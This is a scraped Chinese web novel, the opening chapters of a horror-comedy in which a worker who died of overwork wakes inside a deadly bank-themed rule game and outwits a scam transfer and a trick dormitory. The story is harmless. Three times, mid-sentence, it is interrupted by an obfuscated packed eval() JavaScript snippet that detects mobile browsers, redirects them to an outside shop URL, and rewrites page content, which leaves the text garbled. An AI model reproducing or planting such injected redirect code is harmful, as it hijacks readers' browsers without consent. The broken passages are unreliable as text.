《今天也在噩梦成真[无限]》
1. 体面人生(1)
第1章
半夜两点的城市是什么样子的,别人不知道,但君宁知道。
整个办公室都空了,楼里和外面的天空一样乌漆嘛黑,只有她一张小脸被电脑屏幕照得惨白。面前的电脑屏幕还打开在领导一分钟发过来的那句话:“这个版本不行,明天上午10点前拿一版新的给我。”
这种不正规的私企就是这样的,老板根本不把员工当人看。君宁不禁想到上次利用午休时间跑到隔壁银行办业务,厅堂里的经理们各个都是光鲜亮丽的美女,每个人踩着漂亮的小高跟,讲话都温温柔柔的,瞬间就抚平了她焦躁不安的心。
如果在银行上班的话,应该早就下班了吧……
可惜她达不到人家的要求。
君宁一边想着,一边面无表情地打开和闺蜜的聊天框,打下一行字:“感觉黑眼圈都掉到地上去了。”
再淡淡地补充道:“想死。”
如果她上辈子作恶多端,请用别的方法惩罚她,而不是让她007。
在这个世界上,找到一份体面又高薪的工作真难。
她按压了一下自己的太阳穴,将自己跑走的魂压了回去,重新努力将目光放回word文档上。下一秒,她的心脏转来一阵剧痛,她脑海中瞬间回忆起前段时间看见大厂员工猝死的新闻,第一个反应竟然是:太好了,明天不用交PPT了!
*
死亡来的如此迅速,快到君宁下个睁眼以为自己已经快进到了下辈子。
奇怪的是她并没有忘记上辈子的事情,胸口的额疼痛似乎还没有散去,身躯也还是自己熟悉的那一具。
她坐在了一个圆桌旁,柱状的光从头顶打下,只照亮了血红色的桌面。一共六个人围桌而坐,被顶光勾勒出一个模糊的轮廓,看不清面目,只知道加上她一共三女三男。所有人都深陷在座椅靠背中,双眼阖着,不知道是死了还是睡着了。
圆桌和椅子全部悬浮在空中,脚下是黑色的深渊,什么都看不见。君宁往下看了一小会,总觉得在自己往下看的同时,也有满是恶意的、浓郁而粘稠的视线注视着自己。她感到毛骨悚然,缩着脖子往椅子里窝了窝。
怎么回事?
君宁有些紧张地观察四周,脑海中快速闪过无数猜测。
大学的时候她很喜欢看小说,也很有时间看小说,各种题材都有涉及,具备丰富的理论知识。结合理论分析,目前的场景不外乎几种:重生了,穿越了,或者……
正对面的男人的眼珠子忽然疯狂转动,然后猛然睁开,发出了尖叫。
——或者,穿进无限流了。
君宁麻木而淡然地在内心补充道,这样鬼叫的开场实在是太经典了。
男人的尖叫声很快把圆桌上所有人都“吵醒”了,有人惶恐不安地扫视四周,有人生无可恋地仰着头发呆,还有人低头沉思。
那个中年男人的情绪转变的很快,马上从误入陌生场所的惊恐未定,变成了暴怒。他本来想愤而离席,在发现无处下脚之后,变成了怒而骂娘:“妈的!这什么鬼地方!!这他妈是什么整蛊综艺吗?负责人快出来道歉,不然等老子回去,不起诉死你们!我有一点损失,你们担待得起吗??”
来了,狂妄无知的暴怒炮灰男。君宁往椅子里缩了缩,继续总结。
一个长卷发的美女也开口:“我明明记得我刚才还在……”她说到一半,忽然止住话头,面色惊疑不定。
坐在她旁边的短发飒爽女生终于冷笑了一声,说道:“终于反应过来了?”
她不屑地瞥了一眼中年男人,啧道:“明明都是死了一次的人了,还这么大惊小怪的。”
中年男人像被踩了尾巴的猫一样,粗声骂道:“死什么死,你才死了!!年纪轻轻的,讲话怎么这么晦气呢!!”
那个生无可恋仰头的男生终于低下了高贵的头颅,怜悯地看了中年男人一眼。他的目光中只有看破红尘的空洞和淡然,在他的目光中,生命是如此的没有意义。很快,他又收回了目光,显然是懒得开口。
君宁的视线转向了在场的另一位男性,他脸上挂着黑眼圈,疲惫地耸搭着眼睛,让她觉得对方可能是自己的同类。
短发女生的猜测和她差不多,圆桌边上的五个人和她一样,出于自愿或者意外,都死了。死后的灵魂并未获得自由,而是被这个无限流游戏捕捉了。
不出所料,在让所有人短暂的适应了一下自己的处境,一道诡异的童音从天而降:【欢迎来到小X的平行世界~上学、工作、结婚、生子,一直都是所有人类的主旋律,这样的人生未免太无趣了~】
【不过没有关系,伟大的主不忍心人类一直生活在这样的水生火热之中,慈悲地给了大家一次重新选择的机会~现在你们面前有两张牌,请选择~】
【生存or死亡】
【这是一个问题~】
话音落下,所有人面前都出现了两张牌,一张红牌一张白牌。红牌上画风浮夸的绘制了一个画面,而白牌则是空白。
君宁定睛一看,一个腰弓成虾米的苦逼小人正坐在办公桌前,苦大仇深地对着电脑屏幕,小人的死鱼眼底下的黑眼圈比它的头发颜色还要黑。
君宁:“……”
看来红牌就是【死亡】,因为卡面是“现实”,而现实中的她已经猝死了,白牌上什么内容都没有,意味着万事皆有可能的【生存】。
生存固然诱人,但无限流游戏能有什么慈悲情怀呢?恐怕只是一个可望不可及的大饼,能不能活过一天都是未知数。
但是上班和无限流二选一……
君宁觉得自己死在无限流里面也是一种善终。
她又看向其他人,可惜卡牌都太小了,她看不清另外五个人红牌的卡面。
大部分人的目光和她一样,落在了白牌上,只有那个生无可恋的男生对红牌蠢蠢欲动。
就在这时,中年男人忽然猛地摸向了红牌:“什么鬼地方,老子不奉陪了!”在他的手触碰到红牌的那一瞬间,他身下的椅子消失不见。
他肥胖的身躯陡然落空,朝着深渊坠落而去。
中年男人显然没有预料到这样的场景,放声惨叫,不过当黑暗完全将他的身形吞噬的时候,他的惨叫声也戛然而止,像被什么东西一口吞进了肚子一样。
他桌子上的白牌消失不见,那张红牌忽然漂浮到圆桌的正中央,上面的图案变成了半透明的动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486405|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
画。卡面上的中年男人西装革履,左手搂着S型身材美女,右手拿着白酒酒杯,作势要往美女的嘴里灌酒。他的身后有重重叠叠的无数人影,点头哈腰,都在恭维他。
难怪对现实世界如此念念不忘。
生无可恋的男生愣了一下,脸上闪过一抹为难,摸向红牌的手中途改了道,落在了白牌上。
【恭喜~已经有一位小X选择弃暗投明,重启人生~】
声音落下,男生的白牌闪烁了一下,像冰块一样消融在了他的指尖,就像被他的皮肤吸收了一样。
君宁猜测这是一种角色录入。
重启人生么?如果可以选择的话,她希望自己能在高中好好学习,变成名牌大学毕业生,入局金融或者互联网等高端行业,变成被人人羡慕的高级打工人。
短发女生也立刻伸出手,压在了白牌上。
君宁慢悠悠的、坚定的伸向了白牌。
可能是有中年男人做榜样,剩下的几个人动作都很快,很快进行了选择。
所有的小X都录入完成,眼前一闪,面前的圆桌消失不见。
当眼前变成虚无的黑暗的时候,君宁脑海中只剩下一个念头:如果重来一次,她希望自己能得到一份体面的工作。
这几乎是在小公司之间来回流转的她的执念。
下一秒,君宁穿着制服,站在了光洁发亮的厅堂之中。她的身边站了四个人,对面站了五个人。和他们不一样,对面的人穿着制服,梳着大光明,脸跟个圆润的美妆蛋似的,上面是铅笔画出来的简笔画五官。每个“人”的表情都是标准的微笑。
君宁又扭头看向了自己的左侧,左侧是一排明亮的柜台,柜台上面挂着一行字:阳光银行,您的私人财富管家。
她低下头,看见了自己脖子上挂着的白牌。
现在白牌变成了工牌,上面挂着她黑白微笑职业照,跟个遗像似的。
名字那里写着:小X,阳光银行-苦海无边支行-厅堂服务经理助理
反面还有三行小字:
【生命属性:100/100(活蹦乱跳)】
【技能:无】
【道具:无】
看向工牌的时候,剧情解释一并出现在了眼前:
【小X作为一名从985学校本硕毕业的2024届应届金融毕业生,过五关斩六将,终于结束了自己的春招,获得了阳光银行管培生的岗位~
从现在开始,你已经加入阳光银行,成为了阳光银行的新鲜血液!
请努力工作,走上升职加薪的人生巅峰吧!
——老一辈经常说,银行可是一个体面的好工作。】
另外四人都有些错愕,只有君宁默默睁大了眼睛。
虽然死了还要工作这件事情过于惨绝人寰了,但她竟然获得了自己想要的身份。
就是说,这个无限流世界是许愿池吗?她幻象什么就能成真的那种。
她现在可是从985学校本硕毕业的金融生了,一入职就是管培生,这个任务应该不会有她的工作更加糟心。
她深吸了一口气,对自己通关充满了信心。
至少不需要面对她那个傻逼领导:)
2. 体面人生(2)
想开之后,君宁顿觉神清气爽,遂转头看向另一侧。
清晨的阳光还不算刺眼,营业网点的卷闸门缓缓升起,但玻璃门还没能打开。只看见一群穿着花衬衫的美妆蛋NPC歪七扭八挤压在玻璃门上,口水从向上咧开的嘴角流下,让人联想到围城的丧尸。
君宁:“……”
她忽然又有点想不开了。
带着彩色方巾的女性NPC忽然扭动自己的脑袋,看向在场的五位玩家,脸上那条代表微笑的细线向内凹陷,融化成了一张没有牙的嘴:“小X,这是你工作的第一天,一定要好好表现哦~记住,客户就是上帝。”
她的工牌上标注着大堂经理。
她没有看任何人,每个玩家却都感觉到了如有实质的目光。
眼下的场景之诡异,是几个玩家怎么都想象不出来的。哪怕是在惊悚小说浸淫多年的君宁都头皮发麻。
下一秒,银行的玻璃门被客户猛然打开,差点把站在门边的短发女生拍飞。
正对面的男性NPC反应就没有那么灵敏了,他的半张脸被玻璃门打得凹下去,过了一会才缓慢回弹。
短发女生看在眼里,出了一身冷汗。
NPC的脑袋也跟美妆蛋一样,可以任意挤压,但是她的脑袋可不是啊!
每个客户都拖着不大利索的腿脚,像鬣狗看见了新鲜的猎物一样,朝着玩家一拥而上,直接忽视了对面的一排美妆蛋NPC。
君宁下意识想要后退一步,手臂被紧紧攥住。一只枯瘦的手紧紧抓住她的手臂,顺着手臂往上看,抓住她的大爷身体被其他客户挤在后面,脖子却伸得老长,凑到君宁的面前。
看见君宁注意到了自己,他咧开嘴笑了:“我、要、转、钱。”
“转……”君宁冒着冷汗,回头看了一眼大堂,一眼就捕捉到了厅堂最里面的取款机,“好,请跟我来吧。”
被迫和其余玩家分开,在完全陌生的环境,面对着一群非人怪物,君宁心里不紧张是不可能的。特别是,她感觉大堂经理意味深长的视线一直落在自己身上。君宁的掌心有点冒汗,她连去银行的次数都屈指可数,更别提帮人办理业务了。
但副本不可能设计直接的死局,现场一定有线索。
君宁一边走,一边观察四周。
在各个业务区域,都立着小牌子,墙上也挂着各种“反诈”宣传海报,头顶上的摄像头一直闪烁着红光。
她停在了厅堂唯一一个取款机的面前,目光落在机器上贴着的标识之上。
标识只有三条:
【1.所有客户的需求都应该被满足,这是你的职责所在;
2.厅堂的所有机器都有标准的操作流程,跟着指示操作即可;
3.行员需要遵守所有的规定。】
看来她穿进的规则类无限流,在这个副本里她需要扮演的是一个合格称职的银行职员。
大爷悄无声息地站在君宁的身后,等君宁一回头就将老人机的手机屏幕拍向君宁。君宁脑袋一侧,才堪堪躲过大爷的“袭击”。大爷的手没有收住,重重拍在了机器上。
滋滋——
机票的屏幕凹下去了一个坑。
力的作用是相互的,对厅堂机器发动暴击的大爷也没有好到哪里去。大爷重新抬起手臂的时候,手都扭曲变形了,米白色的像塑料玩具一样的骨头从破损的橡胶皮肤中露出了一截,大爷扭曲的五指却依旧紧紧抓着老人机。他像什么都没有察觉到一样,将手机举到君宁的面前,机械地说道:“转、账。”
君宁默默吞咽了一口口水,暗自庆幸:幸好她躲的够快。
如果她无法立刻帮助这名大爷转账,恐怕不需要触发什么死亡规则,她都能被大爷一拳头抡死。
君宁又偷偷后退了一步,靠在了机器的旁边,顺便伸手快速点击了一下屏幕上的【转账】。机器很快就跳转到了下一个操作界面,除了屏幕猛地闪烁了一下,发出了一声不详的电流声——不幸中的万幸,还能正常使用。
【请刷银行卡】
君宁按照提示,指示大爷操作到了填写收款人账户这一步。大爷姿势别扭地从口袋里摸出了老花镜,比这老人机屏幕上的那串数字,就准备打上去了——
只要操作完这一步,再输入一串密码,业务就能完美的办完了。
君宁忍不住长舒一口气,后颈忽然窜起了一层鸡皮疙瘩。
不对,总觉得哪里不对!
钉在自己背后的视线愈发毛骨悚然,君宁扭头飞速往后看了一眼,那大堂经理的嘴角都快咧到耳朵后面去了!
君宁的余光忽然扫到大爷的手机屏幕,他为了看清楚屏幕上的账户号,将页面调小了一点,也是这个操作,露出了完整的图片。
手机屏幕上是明晃晃的一条短信:【阳光金融】赵银发先生/女士,您名下信用卡严重逾期,且对我行电话、短信置之不理,被视为故意拖欠账款,我行已在司法部门做了案件登记,将您登记为严重失信人员,您的位置已被公安狙击手锁定,如若不还,将即刻执行死刑;若想撤销案件,请于今天下午16点前将欠款200000转至银行卡5481***********4543,予以撤案,否则请做好接待司法人员的准备。如以还款,请忽略。退订回T。
君宁默默扭头看了一眼墙上的大字报【电信诈骗不难防,不听不信不转账!】:“……”
在千钧一发之际,君宁一把抓住了大爷的手腕。
咔擦一声,大爷手腕的伤口豁得更大了。
“等等。”君宁顶着大爷像要吃人的目光,又扫了一眼柜台上微笑服务的标语,硬着头皮尽量委婉道,“您是要给您的家人吗?”
“不、是。”大爷说道。
“那是……?”君宁微笑。
大爷皱眉,脸上浮现起不耐烦:“和、你、没、关、系。你、这、是、在、侵、犯、我、的、隐、私。”
说着,他的手又伸向了屏幕,这一次大爷操作的动作变得娴熟了很多,手指已经快成了虚影,没有半秒就进行了下个界面,眼下只需要再按一个“确认”,这笔钱就能转出去了。
大爷的手抬起了起来,就在他即将触碰到确认键的那一刻,另一只手以更快的速度按下了取消。
哔地一声,屏幕回到了最初的起点。
大堂经理逐渐扩大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486406|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的笑容僵住了。
大爷:“?”
大爷不是很理解,大爷又机械化地重新操作了一遍。
大堂经理的笑容再次扩大。
然后再次“哔!已取消!”
大爷:“??”
大堂经理的笑容第二次凝固。
大爷开始操作第三次,大堂经理第三次展露笑容。
“哔!已取消!”
大堂经理已经不会笑了。
大爷和大堂经理同时扭动脑袋,看向倚在机器上的君宁。
君宁默默收回悬在半空中的手,露出了职业假笑:“咳,请问有什么可以帮您的吗?”
大爷脸上的简笔画颤抖了片刻,像被憋出了内伤:“你在、阻止、我转、账!”连语速都快了一倍。
他帕金森一样在老人机按键上点点戳戳,喊道:“我要、投诉、你!!”
大爷迅速拨出一串号码,手机屏幕亮起“金融监管局维权热线——正在拨通中”几个大字。
这句话落下,整个厅堂都安静了两秒。所有美妆蛋都停下了手里的动作,扭头看向君宁。虽然他们脸上的简笔画没有任何变化,但君宁就是感觉他们在笑,在发自内心的笑。
完蛋!
君宁在心中骂娘,让他转账显然不行,不让他转也不行,那到底怎么做才是正确的?!
大堂里所有美妆蛋都朝她缓慢聚拢了过来,连原本在刁难其他玩家的NPC都停了下来,脸上洋溢着KPI完成、可以提前下班的喜悦。
大堂经理更是快步走到了君宁的面前,朝着君宁伸出了瘦骨嶙峋的手:“客户就是上帝,你怎么能——”
话说到一半,戛然而止。
只见君宁“抢大爷手机,回复T退订短信,删除短信,将号码拉入黑名单”一气呵成,她举着手机,无辜地看向大堂经理:“领导,好奇怪哦,这位爷爷说有人让他转账,但我怎么无论无何都找不到那条讯息呢?”
金融监管局维权热线姗姗来迟:“喂?请问您有什么需要帮助的吗?”
君宁很怂但是抢答道:“没有。”
催账信息,不存在。
转账账户,不存在。
所以问题,也不存在。
逻辑通顺,没有毛病。
大堂经理、大爷:“……”
两名NPC限于规则,暂时奈何不了君宁。他们沉默地站在君宁面前,脸上的简笔画气到颤抖。
短发女生看在眼里,面不改色地举起pad录入了旁边看热闹的NPC的人脸。
pad诡异又愉悦的声音在厅堂里响起:“工号2556,认证成功!”
与其同时,客户的投诉也成功发送。投诉从天而降,2556脸上的简笔画裂成一块一块的。
剩下的几个玩家也受到启发,有样学样,该取消的取消,该“栽赃”的“栽赃”。一波操作下来,厅堂NPC从面色阴沉,完成了瑟瑟发抖的转变。
等时针走向了五点半,大堂经理如释重负,厅堂的客户一哄而散,出门的NPC还把即将往里面走NPC连拖带拽地带走了。
新来的NPC:“????”
3. 第 3 章
厅堂挂着的电子钟跳到17:30的瞬间,卷闸门落了下来,发出一声巨响。君宁甚至从这声巨响之中听出了一点迫不及待的味道。
【2024年12月31日,晴。
吾日三省吾身,
为银行走狗而不忠乎?
与客户交而不舔乎?
无礼客诉不道歉乎?】
广播的声音从四面八方而来,散落在厅堂各处的玩家不由自主地朝君宁聚集而去。显然因为君宁的骚操作在前,隐约被众人当成了主心骨。
但……君宁也想找个主心骨!!
她表面镇定,心脏扑通扑通直跳,就差把墙角的灭火器抡起来当防身的武器了。
厅堂主管脖子扭成了麻花,心不甘情不愿地瞪着君宁,但脚步却无法控制地朝着2556号“同事”而去,2556更是面若纸色,身子抖成了筛糠。君宁瞬间就安下心来,和她想的一样,厅堂主管只能惩罚违反了规则的人,而到底怎样才算违反规则,系统也有自己的一套评判标准。
【作为985本硕金融的优秀毕业生,小X顺利完成了自己在银行的第一天工作。每天的工作都应该及时总结~若有错--哔--漏--哔也可以及时改正@!@】
随着在空间内环绕地广播音变成了含糊不清的乱码,头顶的灯也嗞啦一下完全熄灭,眼前骤然一黑,什么都看不见了。卷发女生不由自主地朝君宁身上更贴近了一步,一把抓住了君宁的手臂。所有人都听见了黑暗中的啃噬声,那声音细细簌簌的,就像无数只蟑螂在地上爬过一样……
等头顶的灯重新亮起的时候,厅堂内所有美妆蛋NPC都消失不见了,只留下地上的一道常常的黑色点状痕迹。
以及眼前重新出现的情景提示:
【日出而作,日入而息。
小X的的第一个工作日惊险万分又有惊无险地度过了,请跟随指示找到你该去的宿舍,请记住,每个人有且只有一张床,千万不要睡错铺位了哦~
包三餐宿舍,银行怎么不算一份体面的好工作呢~】
剧情加载完毕,所有人的工牌上又浮现出了一行新的信息。
君宁想查看自己的工牌,下意识抬起右手。
然而,抬不动。
“……”君宁看向卷发美女。
两人对视了几秒,卷发美女才焕然大悟,连忙放开了紧紧箍住君宁的魔爪:“哦哦!对不起对不起,我刚刚太紧张了。”她心虚地抹了一下君宁手臂上被自己抓出来的印子。
算了,君宁心想,她自己揉了揉手臂,将工牌翻了过来。
“诶?你和我一个房间诶!”君宁还没有看清楚,卷发美女就先发制人,魔爪再一次伸向她的手臂,“实在是太好了!”
君宁避之不及,被美女一把薅走。
五个人很快找到了厅堂的后门,从后门走出去,才发现外面的天全黑了,四周涌动着乳白色的浓雾,浓雾之中影影绰绰,只有不到一米的羊肠小道没有被浓雾淹没。五人瑟缩了一下,卷发女生猛地把君宁往后拽了一步,下意识往厅堂里面躲。
只听见砰的一声,身后的小门在君宁的鼻子前关上了。
君宁吓出一身冷汗,心有余悸地盯着那扇小门。透过玻璃门,厅堂全景尽收眼底,在冷白色的灯光下,整个厅堂空空荡荡,连地上的黑色印记都不知道在什么时候消失不见了,室内一个人影都没有,但玻璃门上却缓缓浮现了一只焦黑的手印。
卷发美女捂着胸口,一边说着吓死人了,一边犹豫地看向了身后:“看来只能继续前进了。”
一直没有什么存在感、同样社畜且疲惫的另一名青年叹了一口气,率先走进了浓雾之中。
浓雾仿佛有生命,翻涌着避让开来,将脚下的路又让出来了一截。与之相反的是浓雾之中的人影,那些扭曲的人影争先恐后地朝青年涌来,却又被一道无形的屏障挡住,只能藏在浓雾之后像飘带一般神经质地扭动。
青年甚至大着胆子朝浓雾之中伸手,卷发美女看见这一幕,吓得掐住了君宁的手臂。
君宁:!!痛QAQ
不过令人担忧的场景并未出现,浓雾又向后退让了一寸。
“看来这里目前是安全的。”短发女生道,也走下了台阶。
生无可恋男生紧随其后,最后才是君宁和卷发美女。
虽然确定了浓雾对自己并没有损害,但五个人还是不约而同地屏气凝神,生怕踏出羊肠小道一步。明明通向员工宿舍的路只有五百米,几个人却像走出了五千米一样,等终于来到了员工宿舍的单元门门口,齐刷刷松了一口气。
深绿色的单元楼铁门是敞开的,一侧印着“阳光银行员工宿舍”的牌子摇摇欲坠。门内,楼道的角落挂满了蛛网,楼内没有灯光,更没有人居住的痕迹。
“这真的能住人吗?”卷发美女忐忑地嘀咕道。
君宁重新确认了一下自己工牌上的房间号,皱起了眉。她工牌上的房号是405,但单元楼一楼每层的房号从1号到4号,左看右看、上看下看,怎么都找不到5号房间。
“你们的房间……”她抬眼看向其他几个人。
短发女生举起工牌:“405。”
生无可恋:“我们两都是404。”
员工宿舍按性别分为男寝和女寝,一个是不存在,另一个是真的不存在。
两个男生也探头过来看了一眼女生的工牌,五目相对,全部语塞。404不存在只是一个玩笑,但405是真的不存在,四楼的走廊只有两两相对四个房间,不见第五个房间的踪影。
生无可恋看了一眼三名女生:“我帮你们……”
话没有说完,就被他的同伴打断了:“这里有个‘员工守则’,你们都来看看。”
他伸手弹掉上面的积灰,精准地露出了其中一行:“第二条,寝室门禁时间为晚上23点整,在此时间后,职工生命安全的最终解释权将不归‘阳光银行’所有,有人知道现在几点了吗?”
“我从一进来,口袋里就有个手表。”短发女生从自己的口袋里摸出一个表盘玻璃碎成蛛网状的手表。
几个脑袋凑在一起,辨认了半天,终于透过那砂糖质感看见了里面的指针:22:45
“我们不是才下班吗?”卷发美女发出了困惑的声音。
在场另外四个打工人齐刷刷沉默了。
这窒息又熟悉的情节啊!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486407|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疲惫男捏了一下眉心,略带疲惫的为难道:“从下班开始,时间就走得飞快,我和江子苍恐怕不能帮你们一起找房间了。”
江子苍皱了一下眉,最终还是没有反驳。
君宁可以理解,毕竟只是萍水相逢的倒霉蛋,连对方的名字都没有认全,哪里可能为陌生人冒险。【职工守则】上标注的是门禁时间,说明如果不在23点之前关门,就很有可能发生不好的事情。
但什么叫做生命安全的最终解释权不归“阳光银行”?
君宁走到【员工守则】之前,仔细阅读上面的文字。
“真的会这么不公平吗?”身后响起短发女生的声音,“明明同时进入这个鬼地方,就你们的房间是存在的?”
疲惫男将寝室【404】的门牌取下来,擦干净上面的灰尘,翻来翻去研究了一会,笑了:“还真就这么不公平。”
“为什么?”卷发美女不满。
“职场就是不公平的。”江子苍忽然开口,他看向短发女生,不知道为什么,声音有点低落,“职场对男性和女性就是不公平的……”
短发女生顿时沉默了,她垂在身侧的拳头捏紧了,一秒后才说道:“那祝你们好梦。”
“谢谢。”疲惫男一把将江子苍拉进404,“祝你们好运。”
404的门哐地一声关上了。
短发女生忍不住操了一声:“真不是东西!”
“先别生气,快来看看,这又是什么。”君宁听了一耳朵,心里倒是没起什么波澜,真要事事生气,她在现实世界早该被气死了。
卷发美女扯了一下短发女生的袖子,把人拽了过来。
【员工守则】
【第一条职工寝室开放时间为每日晚5点半至次日早8点半,其余时间寝室大楼不开放,若见到单元楼大门在其余时间开放,请不要入内;
第二条职工寝室单元楼共七层,一梯四户,每户格局面积均一致,若出现第五个房间,请不要入内;
第三条职工寝室男女混住,男性居住在偶数间,女生居住在单数间;
第四条每个职工都有自己的寝室,若进错寝室,职工职工生命安全的最终解释权将不归‘阳光银行’所有;
第五条职工在寝安全是‘阳光银行’最大的期盼,在寝室内的职工将受到职工保护法的保护;
第六条寝室门禁时间为晚上23点整,在此时间后,职工生命安全的最终解释权将不归‘阳光银行’所有;
*以上条款的最终解释权归‘阳光银行’所有。】
“……一梯四户,不要进入第五个房间,”美女一边碎碎念,一边环顾四周,“有病啊,不让进入第五个房间,又要我们进入405,规则不能既要有要还要啊!”
闻言,另外两个打工人心头又哽住了。
这就很工作:)
不过眼前的难题并非无解。
君宁走到一扇门的门前,侧过头,仔细打量着房门上的门牌号。
门牌的数字和电子表上数字的字体是一样的,从侧面看,其中一笔和门牌只见还有非常细微的距离。
她皱眉,恍然大悟之余又觉得有点荒唐,不能是她想的那样吧……
4. 第 4 章
君宁并没有立刻上手尝试,而是按照房间序号一一看了过去。
401、402、403、404,所有竖着的那一笔都是可以左右推动的。也就是说2和3可以通过笔画的挪动变成5。
君宁无语凝噎了片刻,将这个发现告诉了另外两个人。
卷发美女:“那么问题来了,到底应该选择402还是403?”
“403。”短发女生思索道,“规则里说了‘男性居住在偶数间,女生居住在单数间’,如果晚上有人对我们的门牌动手脚的话,住在402恐怕有危险。”
“可是403也有可能变成402。”卷发美女一边说,一边朝着403门牌伸出了手,下意识想给另外两人展示一下。
另一只手比她更快一步,把4033中的一竖推动,变成了405。
另外两个女生吓了一跳,又看见君宁再次尝试,这次的目标变成了3的上面一竖,这次,本身的笔画和门牌间的空隙消失的无影无踪,这一划就跟刻在门牌上一样,纹丝不动。她又尝试了一下,402的2也不能更改了。唯一能动的依旧是刚刚挪动的那一笔。
也就是说,如果刚才挪动的是3下半部分那一竖,那她们就真的再也找不到405房间了。
果然,无限流的规则总是遮遮掩掩,不可能一次性说全。
卷发美女明白自己差点闯了大祸,吓得脸色煞白,小小声说了一句:“以后我啥都不碰了。”
“那也不至于,”君宁看了一眼时间,一把推开了房门,“时间快到了,我们还是进房间吧。”
她一把将站在门口的两名女生拉入房间,房门在23:59:59的时候哐地一声合上了。
23点整,门缝里来自走廊的灯光骤然熄灭了。似乎有什么变得不一样了。
君宁不由自主地屏住了呼吸,只看见原本整个后背贴在门上的卷发美女忽然脸色煞白,受惊吓的兔子一般朝她怀里蹦去。
君宁吓得浑身汗毛倒立,立刻往旁边窜去,但还是没有躲过美女的魔爪。
短发女生问道:“怎么了?”
“有人叫我名字!”美女脸色难看,瑟缩地望着房门,“好像有人贴在门板上叫我的名字,它让我给它开门!”
“往另一个角度思考,”君宁苦着脸,一边尝试从美女的铁钳下挣脱,“或许那根本就不是人。”
“啊啊啊!!”美女贴着她的耳朵发出了爆鸣。
君宁:“。”
“别叫了。”短发女生眼疾手快从旁边拉出一把椅子,将卷发美女按在了椅子上,“冷静,我们已经在房间里了。”
女生受惊吓的速度很快,镇定下来的速度也很快。她做了两次深呼吸,环顾四周,惊讶道:“这房间怎么和我寝室一模一样?”
“寝室?”君宁一边在桌子上翻翻找找,一边问道,“你还是学生?”
“是啊,大三在读,还没毕业呢。”女生笑了一下,自我介绍道,“我叫符佳佳,你们叫我佳佳就可以。”
没等短发女生说话,符佳佳又指着短发女生说,:“她叫唐青。”
在唐青惊愕的表情下,她语速不减:“404那两个贱男人一个叫江子苍,另一个叫做周晓明。而你叫君宁。”
君宁翻找的动作慢了下来,有些惊讶:“你怎么知道的?”
“因为我八卦啊。”符佳佳理所当然,“我还知道周晓明是一个小领导,应酬喝假酒喝死了。那个看起来正常一点的江子苍是个十足的懦夫,因为对不起自己的好朋友自杀而亡。”
“你呢……”符佳佳看向唐青。
唐青的脸色变得有点难看,打断道:“我是被车撞死的,意外身亡。”
“呃……我只知道你们两的名字,其他的一无所知。”符佳佳无辜地眨眨眼,“我只是八卦,不是未卜先知啦。”
天晓得,她只是抓住了每个副本情节的空隙和那两个男的瞎聊了聊。
唐青明白自己误会了符佳佳,表情僵了僵。
“而我,是在工位上猝死的。”君宁万分悲凉地说道。
唐青的神情缓和了一点,顿了一下,说道:“真可怜。”
“非常可怜。”君宁将桌子上的便签又翻过来了一面,目光从上面扫过,复又抬起头,羡慕地看向符佳佳。
符佳佳被她看得头皮发麻。
君宁将便签条举起来,写满字的那一面对着符佳佳。
“七点起床,七点半出门,八点半开始开晨会,下班后业绩没有达标,开会督导,回到家十点。一天就这样过去了。”符佳佳将上面的文字念出来,发现君宁还在“充满深情”地凝视着她,“怎、怎么了?”
君宁变成死鱼眼:“我被精神攻击了。”
唐青没忍住,笑了一声。
随后,三个人将自己的工牌翻过来,核查了一下自己的身体属性。
刚进入游戏,大家的【技能】和【道具】都是空的,只有【生命属性】那一栏稍有区别。君宁掉了一点san值,健康值-3,仍旧是稳稳当当的“活蹦乱跳”。她甚至怀疑这是副本里过分真实的工作体验给予她的刺激。
令人惊讶的是,大惊小吓都要扯着嗓子来一段尖叫的符佳佳,【生命属性】竟然只掉了7分,现在仅仅是“心惊肉跳”,而从头到尾都很平静的唐青却只有82分,处于“高度紧绷”的状态。
属实是,堵不如疏。
符佳佳还教唐青,尖叫的时候要气沉丹田,这样比较保护嗓子。
不过她们俩都很好奇君宁的状态,以符佳佳的原话就是“怎么养成的泰山崩顶而面不改色的绝招的”。
君宁思索片刻,总结道:“大抵是泰山崩多了了。”
翻译下来就是:
一个操蛋的工作足以锻炼人的心性。
天塌得多了,也就看开了:)
交流完之后,三个人在房间里翻找了起来。既然进入了一个全新的空间,那必然就会出现全新的规则。副本可不可能有那么好心,专门创造出一个空间供她们休息。
“是要寻找守则吗?”符佳佳也反应了过来,她的速度更快,直接将挂在房门上的写着“暴富”的帘子掀了起来,露出了房门上贴着的一张发黄的纸,“一般规章制度不都会被贴在这里吗?”
【寝室守则】
